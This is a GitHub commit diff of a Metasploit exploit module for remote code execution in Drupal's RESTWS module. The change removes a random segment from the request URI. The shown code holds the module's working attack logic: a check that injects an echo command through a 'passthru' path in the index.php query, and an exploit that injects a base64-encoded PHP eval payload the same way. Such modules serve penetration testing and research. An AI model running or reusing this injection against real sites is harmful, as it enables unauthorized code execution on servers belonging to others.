Skip to content

Commit b0a0544

Browse files
committed
Remove random string from URI
1 parent 0898162 commit b0a0544

File tree

1 file changed

+2
-3
lines changed

1 file changed

+2
-3
lines changed

modules/exploits/unix/webapp/drupal_restws_exec.rb

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -59,7 +59,7 @@ def check
5959
'method' => 'GET',
6060
'uri' => normalize_uri(target_uri.path, "index.php"),
6161
'vars_get' => {
62-
'q' => "taxonomy_vocabulary/#{r}/passthru/echo #{r}"
62+
'q' => "taxonomy_vocabulary//passthru/echo #{r}"
6363
}
6464
)
6565
if res && res.body.include?(r)
@@ -69,13 +69,12 @@ def check
6969
end
7070

7171
def exploit
72-
random = rand_text_alpha(1 + rand(2))
7372
cmd = "php -r 'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'"
7473
send_request_cgi(
7574
'method' => 'GET',
7675
'uri' => normalize_uri(target_uri.path, "index.php"),
7776
'vars_get' => {
78-
'q' => "taxonomy_vocabulary/#{random}/passthru/#{cmd}"
77+
'q' => "taxonomy_vocabulary//passthru/#{cmd}"
7978
}
8079
)
8180
end

0 commit comments

Comments
 (0)